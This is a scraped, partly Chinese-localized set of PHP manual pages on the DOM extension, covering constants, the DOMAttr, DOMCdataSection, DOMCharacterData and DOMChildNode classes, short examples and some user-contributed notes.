        function __construct( $type, $disabled, $ownerNode, $parentStyleSheet, $href, $title){
            $this->type = $type;
            $this->disabled = $disabled;
            $this->media = new MediaList();
            $this->ownerNode = $ownerNode;
            $this->parentStyleSheet = $parentStyleSheet;
            $this->href = $href;
            $this->title = $title;
        }
    }
?>

Only contactable via http://murpsoft.com/contact.html


简介

The DOM extension allows operations on XML and HTML documents through the DOM API with PHP.

Note:

此 DOM 扩展采用 UTF-8 编码。使用 mb_convert_encoding()、UConverter::transcode() 或 iconv() 来处理其它编码。

User Contributed Notes

captainjester at hotmail dot com 27-Mar-2020 12:59
Be careful when using this for partial HTML. This will only take complete HTML documents with at least an HTML element and a BODY element. If you are working on partial HTML and you fill in the missing elements around it and don't specify in META elements the character encoding then it will be treated as ISO-8859-1 and will mangle UTF-8 strings. Example:

<?php
$body = getHtmlBody();
$doc = new DOMDocument();
$doc->loadHtml("<html><body>".$body."</body></html>");
// $doc will treat your HTML ISO-8859-1.
// this is correct but may not be what you want if your source is UTF-8
?>

<?php
$body = getHtmlBody();
$doc = new DOMDocument();
$doc->loadHtml("<html><head><meta charset=\"UTF-8\"><meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=gb2312\"></head><body>".$body."</body></html>");
// $doc will treat your HTML correctly as UTF-8.
?>


安装

此扩展默认为启用，编译时可通过下列选项禁用： --disable-dom

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

XML constants
Constant | Value | Description
XML_ELEMENT_NODE (int) | 1 | Node is a DOMElement
XML_ATTRIBUTE_NODE (int) | 2 | Node is a DOMAttr
XML_TEXT_NODE (int) | 3 | Node is a DOMText
XML_CDATA_SECTION_NODE (int) | 4 | Node is a DOMCharacterData
XML_ENTITY_REF_NODE (int) | 5 | Node is a DOMEntityReference
XML_ENTITY_NODE (int) | 6 | Node is a DOMEntity
XML_PI_NODE (int) | 7 | Node is a DOMProcessingInstruction
XML_COMMENT_NODE (int) | 8 | Node is a DOMComment
XML_DOCUMENT_NODE (int) | 9 | Node is a DOMDocument
XML_DOCUMENT_TYPE_NODE (int) | 10 | Node is a DOMDocumentType
XML_DOCUMENT_FRAG_NODE (int) | 11 | Node is a DOMDocumentFragment
XML_NOTATION_NODE (int) | 12 | Node is a DOMNotation
XML_HTML_DOCUMENT_NODE (int) | 13 |
XML_DTD_NODE (int) | 14 |
XML_ELEMENT_DECL_NODE (int) | 15 |
XML_ATTRIBUTE_DECL_NODE (int) | 16 |
XML_ENTITY_DECL_NODE (int) | 17 |
XML_NAMESPACE_DECL_NODE (int) | 18 |
XML_ATTRIBUTE_CDATA (int) | 1 |
XML_ATTRIBUTE_ID (int) | 2 |
XML_ATTRIBUTE_IDREF (int) | 3 |
XML_ATTRIBUTE_IDREFS (int) | 4 |
XML_ATTRIBUTE_ENTITY (int) | 5 |
XML_ATTRIBUTE_NMTOKEN (int) | 7 |
XML_ATTRIBUTE_NMTOKENS (int) | 8 |
XML_ATTRIBUTE_ENUMERATION (int) | 9 |
XML_ATTRIBUTE_NOTATION (int) | 10 |
DOMException constants
Constant | Value | Description
DOM_PHP_ERR (int) | 0 | Error code not part of the DOM specification. Meant for PHP errors.
DOM_INDEX_SIZE_ERR (int) | 1 | If index or size is negative, or greater than the allowed value.
DOMSTRING_SIZE_ERR (int) | 2 | If the specified range of text does not fit into a DOMString.
DOM_HIERARCHY_REQUEST_ERR (int) | 3 | If any node is inserted somewhere it doesn't belong
DOM_WRONG_DOCUMENT_ERR (int) | 4 | If a node is used in a different document than the one that created it.
DOM_INVALID_CHARACTER_ERR (int) | 5 | If an invalid or illegal character is specified, such as in a name.
DOM_NO_DATA_ALLOWED_ERR (int) | 6 | If data is specified for a node which does not support data.
DOM_NO_MODIFICATION_ALLOWED_ERR (int) | 7 | If an attempt is made to modify an object where modifications are not allowed.
DOM_NOT_FOUND_ERR (int) | 8 | If an attempt is made to reference a node in a context where it does not exist.
DOM_NOT_SUPPORTED_ERR (int) | 9 | If the implementation does not support the requested type of object or operation.
DOM_INUSE_ATTRIBUTE_ERR (int) | 10 | If an attempt is made to add an attribute that is already in use elsewhere.
DOM_INVALID_STATE_ERR (int) | 11 | If an attempt is made to use an object that is not, or is no longer, usable.
DOM_SYNTAX_ERR (int) | 12 | If an invalid or illegal string is specified.
DOM_INVALID_MODIFICATION_ERR (int) | 13 | If an attempt is made to modify the type of the underlying object.
DOM_NAMESPACE_ERR (int) | 14 | If an attempt is made to create or change an object in a way which is incorrect with regard to namespaces.
DOM_INVALID_ACCESS_ERR (int) | 15 | If a parameter or an operation is not supported by the underlying object.
DOM_VALIDATION_ERR (int) | 16 | If a call to a method such as insertBefore or removeChild would make the Node invalid with respect to "partial validity", this exception would be raised and the operation would not be done.

User Contributed Notes

There are no user contributed notes for this page.


示例

Many examples in this reference require an XML file. We will use book.xml that contains the following:

Example #1 book.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.1.2//EN"
 "http://www.oasis-open.org/docbook/xml/4.1.2/docbookx.dtd" [
]>
<book id="listing">
 <title>My lists</title>
 <chapter id="books">
  <title>My books</title>
  <para>
   <informaltable>
    <tgroup cols="4">
     <thead>
      <row>
       <entry>Title</entry>
       <entry>Author</entry>
       <entry>Language</entry>
       <entry>ISBN</entry>
      </row>
     </thead>
     <tbody>
      <row>
       <entry>The Grapes of Wrath</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>0140186409</entry>
      </row>
      <row>
       <entry>The Pearl</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>014017737X</entry>
      </row>
      <row>
       <entry>Samarcande</entry>
       <entry>Amine Maalouf</entry>
       <entry>fr</entry>
       <entry>2253051209</entry>
      </row>
      <!-- TODO: I have a lot of remaining books to add.. -->
     </tbody>
    </tgroup>
   </informaltable>
  </para>
 </chapter>
</book>

User Contributed Notes

There are no user contributed notes for this page.


The DOMAttr class

(PHP 5, PHP 7, PHP 8)

简介

DOMAttr represents an attribute in the DOMElement object.

类摘要

class DOMAttr extends DOMNode {
/* 属性 */
public readonly string $name;
public readonly bool $specified = true;
public string $value;
public readonly ?DOMElement $ownerElement;
public readonly mixed $schemaTypeInfo = null;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct(string $name, string $value = "")
public isId(): bool
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

name

The name of the attribute.

ownerElement

The element which contains the attribute or null.

schemaTypeInfo

Not implemented yet, always is null.

specified

Not implemented yet, always is true.

value

The value of the attribute.

Note:

Note, XML entities are expanded upon setting a value. Thus the & character has a special meaning. Setting value to itself will fail when value contains an &. To avoid entity expansion, use DOMElement::setAttribute() instead.

参见

  • » W3C specification of Attr

Table of Contents

  • DOMAttr::__construct — Creates a new DOMAttr object
  • DOMAttr::isId — Checks if attribute is a defined ID

User Contributed Notes

greubel at nkey dot de 06-Dec-2014 03:04
Please take care on debugging DOMAttr related code. This will cause an E_WARNING that retrieving schemaTypeInfo attribute is not implemented yet. An IDE like Eclipse will inspect the object and its member elements. In conjunction with registered error handlers, which will translate the E_WARNING into Exception your debugging session will end unexpectedly. This has caused me some trouble while debugging my PHPUnit test case in eclipse using "Makegood" plugin.

A possible workarround is to deactivate the error handling during debugging using error_reporting(0). Remove the statement after finishing your debugging session.

Notable ticket in Bugtracker: https://bugs.php.net/bug.php?id=61858
And a xdebug tracker ticket: http://bugs.xdebug.org/view.php?id=910
chregu at php dot net 23-Mar-2009 11:20
See also the properties from the inherited class DOMNode ( http://php.net/manual/en/class.domnode.php ), eg. namespaceURI, prefix, localName, etc, especially if you have to deal with namespaced attributes


Creates a new DOMAttr object

  • ? DOMAttr
  • DOMAttr::isId ?
  • PHP Manual
  • DOMAttr
  • Creates a new DOMAttr object

DOMAttr::__construct

(PHP 5, PHP 7, PHP 8)

DOMAttr::__construct — Creates a new DOMAttr object

说明

public DOMAttr::__construct(string $name, string $value = "")

Creates a new DOMAttr object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writable node, use DOMDocument::createAttribute.

参数

name

The tag name of the attribute.

value

The value of the attribute.

示例

Example #1 Creating a new DOMAttr object

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$attr = $element->setAttributeNode(new DOMAttr('attr', 'attrvalue'));
echo $dom->saveXML();

?>

以上示例会输出：

<?xml version="1.0" encoding="utf-8"?>
<root attr="attrvalue" />

参见

  • DOMDocument::createAttribute() - Create new attribute

User Contributed Notes

Anonymous 18-Sep-2014 10:48
The output should be:

<?xml version="1.0" encoding="iso-8859-1"?>
<root attr="attrvalue"/>


Checks if attribute is a defined ID

  • ? DOMAttr::__construct
  • DOMCdataSection ?
  • PHP Manual
  • DOMAttr
  • Checks if attribute is a defined ID

DOMAttr::isId

(PHP 5, PHP 7, PHP 8)

DOMAttr::isId — Checks if attribute is a defined ID

说明

public DOMAttr::isId(): bool

This function checks if the attribute is a defined ID.

According to the DOM standard this requires a DTD which defines the attribute ID to be of type ID. You need to validate your document with DOMDocument::validate or DOMDocument::validateOnParse before using this function.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 DOMAttr::isId() Example

<?php

$doc = new DomDocument;

// We need to validate our document before referring to the id
$doc->validateOnParse = true;
$doc->Load('book.xml');

// We retrieve the attribute named id of the chapter element
$attr = $doc->getElementsByTagName('chapter')->item(0)->getAttributeNode('id');

var_dump($attr->isId()); // bool(true)

?>

User Contributed Notes

There are no user contributed notes for this page.


The DOMCdataSection class

(PHP 5, PHP 7, PHP 8)

简介

The DOMCdataSection inherits from DOMText for textual representation of CData constructs.

类摘要

class DOMCdataSection extends DOMText {
/* 继承的属性 */
public readonly string $wholeText;
public string $data;
public readonly int $length;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct(string $data)
/* 继承的方法 */
public DOMText::isElementContentWhitespace(): bool
public DOMText::isWhitespaceInElementContent(): bool
public DOMText::splitText(int $offset): DOMText|false
public DOMCharacterData::after(DOMNode|string ...$nodes): void
public DOMCharacterData::appendData(string $data): true
public DOMCharacterData::before(DOMNode|string ...$nodes): void
public DOMCharacterData::deleteData(int $offset, int $count): bool
public DOMCharacterData::insertData(int $offset, string $data): bool
public DOMCharacterData::remove(): void
public DOMCharacterData::replaceData(int $offset, int $count, string $data): bool
public DOMCharacterData::replaceWith(DOMNode|string ...$nodes): void
public DOMCharacterData::substringData(int $offset, int $count): string|false
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Table of Contents

  • DOMCdataSection::__construct — Constructs a new DOMCdataSection object

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new DOMCdataSection object

  • ? DOMCdataSection
  • DOMCharacterData ?
  • PHP Manual
  • DOMCdataSection
  • Constructs a new DOMCdataSection object

DOMCdataSection::__construct

(PHP 5, PHP 7, PHP 8)

DOMCdataSection::__construct — Constructs a new DOMCdataSection object

说明

public DOMCdataSection::__construct(string $data)

Constructs a new CDATA node. This works like the DOMText class.

参数

data

The value of the CDATA node. If not supplied, an empty CDATA node is created.

示例

Example #1 Creating a new DOMCdataSection object

<?php

$dom = new DOMDocument('1.0', 'utf-8');
$element = $dom->appendChild(new DOMElement('root'));
$text = $element->appendChild(new DOMCdataSection('root value'));
echo $dom->saveXML();

?>

以上示例会输出：

<?xml version="1.0" encoding="utf-8"?>
<root><![CDATA[root value]]></root>

参见

  • DOMText::__construct() - Creates a new DOMText object
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

There are no user contributed notes for this page.


The DOMCharacterData class

(PHP 5, PHP 7, PHP 8)

简介

Represents nodes with character data. No nodes directly correspond to this class, but other nodes do inherit from it.

类摘要

class DOMCharacterData extends DOMNode implements DOMChildNode {
/* 属性 */
public string $data;
public readonly int $length;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public after(DOMNode|string ...$nodes): void
public appendData(string $data): true
public before(DOMNode|string ...$nodes): void
public deleteData(int $offset, int $count): bool
public insertData(int $offset, string $data): bool
public remove(): void
public replaceData(int $offset, int $count, string $data): bool
public replaceWith(DOMNode|string ...$nodes): void
public substringData(int $offset, int $count): string|false
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

data

The contents of the node.

length

The length of the contents.

nextElementSibling

The next sibling element or null.

previousElementSibling

The previous sibling element or null.

更新日志

版本 | 说明
8.0.0 | The nextElementSibling and previousElementSibling properties have been added.
8.0.0 | DOMCharacterData implements DOMChildNode now.

参见

  • » W3C specification of CharacterData

Table of Contents

  • DOMCharacterData::after — Adds nodes after the character data
  • DOMCharacterData::appendData — Append the string to the end of the character data of the node
  • DOMCharacterData::before — Adds nodes before the node
  • DOMCharacterData::deleteData — Remove a range of characters from the node
  • DOMCharacterData::insertData — Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::remove — Removes the character data
  • DOMCharacterData::replaceData — Replace a substring within the DOMCharacterData node
  • DOMCharacterData::replaceWith — Replaces the character data with new nodes
  • DOMCharacterData::substringData — Extracts a range of data from the node

User Contributed Notes

jesdisciple dot FOO at gmail dot BAR dot com 08-Jul-2010 04:35
In case you're looking for the CDATA class to which nodes /do/ correspond, it's called DOMCdataSection (per my PHP installation) and isn't documented on php.net.  Presumably, it doesn't add anything to this API.

See also: http://www.php.net/manual/en/domdocument.createcdatasection.php


Adds nodes after the character data

  • ? DOMCharacterData
  • DOMCharacterData::appendData ?
  • PHP Manual
  • DOMCharacterData
  • Adds nodes after the character data

DOMCharacterData::after

(PHP 8)

DOMCharacterData::after — Adds nodes after the character data

说明

public DOMCharacterData::after(DOMNode|string ...$nodes): void

Adds the passed nodes after the element.

参数

nodes

Nodes to be added after the node. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMCharacterData::after() example

Adds nodes after the character data.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><![CDATA[hello]]></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->after("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container><![CDATA[hello]]>beautiful<world/></container>

参见

  • DOMChildNode::after() - Adds nodes after the node
  • DOMCharacterData::before() - Adds nodes before the node

User Contributed Notes

There are no user contributed notes for this page.


Append the string to the end of the character data of the node

  • ? DOMCharacterData::after
  • DOMCharacterData::before ?
  • PHP Manual
  • DOMCharacterData
  • Append the string to the end of the character data of the node

DOMCharacterData::appendData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::appendData — Append the string to the end of the character data of the node

说明

public DOMCharacterData::appendData(string $data): true

Append the string data to the end of the character data of the node.

参数

data

The string to append.

返回值

总是返回 true。

更新日志

版本 | 说明
8.3.0 | This function now has a tentative true return type.

参见

  • DOMCharacterData::deleteData() - Remove a range of characters from the node
  • DOMCharacterData::insertData() - Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::replaceData() - Replace a substring within the DOMCharacterData node
  • DOMCharacterData::substringData() - Extracts a range of data from the node

User Contributed Notes

There are no user contributed notes for this page.


Adds nodes before the node

  • ? DOMCharacterData::appendData
  • DOMCharacterData::deleteData ?
  • PHP Manual
  • DOMCharacterData
  • Adds nodes before the node

DOMCharacterData::before

(PHP 8)

DOMCharacterData::before — Adds nodes before the node

说明

public DOMCharacterData::before(DOMNode|string ...$nodes): void

Adds the passed nodes before the node.

参数

nodes

Nodes to be added before the node. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMCharacterData::before() example

Adds nodes before the character data.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><![CDATA[world]]></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->before("hello", $doc->createElement("beautiful"));

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container>hello<beautiful/><![CDATA[world]]></container>

参见

  • DOMChildNode::before() - Adds nodes before the node
  • DOMCharacterData::after() - Adds nodes after the character data

User Contributed Notes

There are no user contributed notes for this page.


Remove a range of characters from the node

  • ? DOMCharacterData::before
  • DOMCharacterData::insertData ?
  • PHP Manual
  • DOMCharacterData
  • Remove a range of characters from the node

DOMCharacterData::deleteData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::deleteData — Remove a range of characters from the node

说明

public DOMCharacterData::deleteData(int $offset, int $count): bool

Deletes count characters starting from position offset.

参数

offset

The offset from which to start removing.

count

The number of characters to delete. If the sum of offset and count exceeds the length, then all characters to the end of the data are deleted.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

  • DOMCharacterData::appendData() - Append the string to the end of the character data of the node
  • DOMCharacterData::insertData() - Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::replaceData() - Replace a substring within the DOMCharacterData node
  • DOMCharacterData::substringData() - Extracts a range of data from the node

User Contributed Notes

There are no user contributed notes for this page.


Insert a string at the specified 16-bit unit offset

  • ? DOMCharacterData::deleteData
  • DOMCharacterData::remove ?
  • PHP Manual
  • DOMCharacterData
  • Insert a string at the specified 16-bit unit offset

DOMCharacterData::insertData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::insertData — Insert a string at the specified 16-bit unit offset

说明

public DOMCharacterData::insertData(int $offset, string $data): bool

Inserts string data at position offset.

参数

offset

The character offset at which to insert.

data

The string to insert.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data.

参见

  • DOMCharacterData::appendData() - Append the string to the end of the character data of the node
  • DOMCharacterData::deleteData() - Remove a range of characters from the node
  • DOMCharacterData::replaceData() - Replace a substring within the DOMCharacterData node
  • DOMCharacterData::substringData() - Extracts a range of data from the node

User Contributed Notes

There are no user contributed notes for this page.


Removes the character data

  • ? DOMCharacterData::insertData
  • DOMCharacterData::replaceData ?
  • PHP Manual
  • DOMCharacterData
  • Removes the character data

DOMCharacterData::remove

(PHP 8)

DOMCharacterData::remove — Removes the character data

说明

public DOMCharacterData::remove(): void

Removes the character data.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 DOMCharacterData::remove() example

Removes the character data.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><![CDATA[hello]]><world/></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->remove();

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container><world/></container>

参见

  • DOMChildNode::remove() - Removes the node
  • DOMCharacterData::after() - Adds nodes after the character data
  • DOMCharacterData::before() - Adds nodes before the node
  • DOMCharacterData::replaceWith() - Replaces the character data with new nodes
  • DOMNode::removeChild() - Removes child from list of children

User Contributed Notes

There are no user contributed notes for this page.


Replace a substring within the DOMCharacterData node

  • ? DOMCharacterData::remove
  • DOMCharacterData::replaceWith ?
  • PHP Manual
  • DOMCharacterData
  • Replace a substring within the DOMCharacterData node

DOMCharacterData::replaceData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::replaceData — Replace a substring within the DOMCharacterData node

说明

public DOMCharacterData::replaceData(int $offset, int $count, string $data): bool

Replace count characters starting from position offset with data.

参数

offset

The offset from which to start replacing.

count

The number of characters to replace. If the sum of offset and count exceeds the length, then all characters to the end of the data are replaced.

data

The string with which the range must be replaced.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

  • DOMCharacterData::appendData() - Append the string to the end of the character data of the node
  • DOMCharacterData::deleteData() - Remove a range of characters from the node
  • DOMCharacterData::insertData() - Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::substringData() - Extracts a range of data from the node

User Contributed Notes

There are no user contributed notes for this page.


Replaces the character data with new nodes

  • ? DOMCharacterData::replaceData
  • DOMCharacterData::substringData ?
  • PHP Manual
  • DOMCharacterData
  • Replaces the character data with new nodes

DOMCharacterData::replaceWith

(PHP 8)

DOMCharacterData::replaceWith — Replaces the character data with new nodes

说明

public DOMCharacterData::replaceWith(DOMNode|string ...$nodes): void

Replaces the character data with new nodes.

参数

nodes

The replacement nodes. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMCharacterData::replaceWith() example

Replaces the character data with new nodes.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><![CDATA[hello]]></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container>beautiful<world/></container>

参见

  • DOMChildNode::replaceWith() - Replaces the node with new nodes
  • DOMCharacterData::after() - Adds nodes after the character data
  • DOMCharacterData::before() - Adds nodes before the node
  • DOMCharacterData::remove() - Removes the character data

User Contributed Notes

There are no user contributed notes for this page.


Extracts a range of data from the node

  • ? DOMCharacterData::replaceWith
  • DOMChildNode ?
  • PHP Manual
  • DOMCharacterData
  • Extracts a range of data from the node

DOMCharacterData::substringData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::substringData — Extracts a range of data from the node

说明

public DOMCharacterData::substringData(int $offset, int $count): string|false

Returns the specified substring.

参数

offset

Start offset of substring to extract.

count

The number of characters to extract.

返回值

The specified substring. If the sum of offset and count exceeds the length, then all 16-bit units to the end of the data are returned.

错误／异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

  • DOMCharacterData::appendData() - Append the string to the end of the character data of the node
  • DOMCharacterData::deleteData() - Remove a range of characters from the node
  • DOMCharacterData::insertData() - Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::replaceData() - Replace a substring within the DOMCharacterData node

User Contributed Notes

There are no user contributed notes for this page.


The DOMChildNode interface

(PHP 8)

接口摘要

interface DOMChildNode {
/* 方法 */
public after(DOMNode|string ...$nodes): void
public before(DOMNode|string ...$nodes): void
public remove(): void
public replaceWith(DOMNode|string ...$nodes): void
}

Table of Contents

  • DOMChildNode::after — Adds nodes after the node
  • DOMChildNode::before — Adds nodes before the node
  • DOMChildNode::remove — Removes the node
  • DOMChildNode::replaceWith — Replaces the node with new nodes

User Contributed Notes

There are no user contributed notes for this page.


Adds nodes after the node

  • ? DOMChildNode
  • DOMChildNode::before ?
  • PHP Manual
  • DOMChildNode
  • Adds nodes after the node

DOMChildNode::after

(PHP 8)

DOMChildNode::after — Adds nodes after the node

说明

public DOMChildNode::after(DOMNode|string ...$nodes): void

Adds the passed nodes after the node.

参数

nodes

Nodes to be added after the node. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.
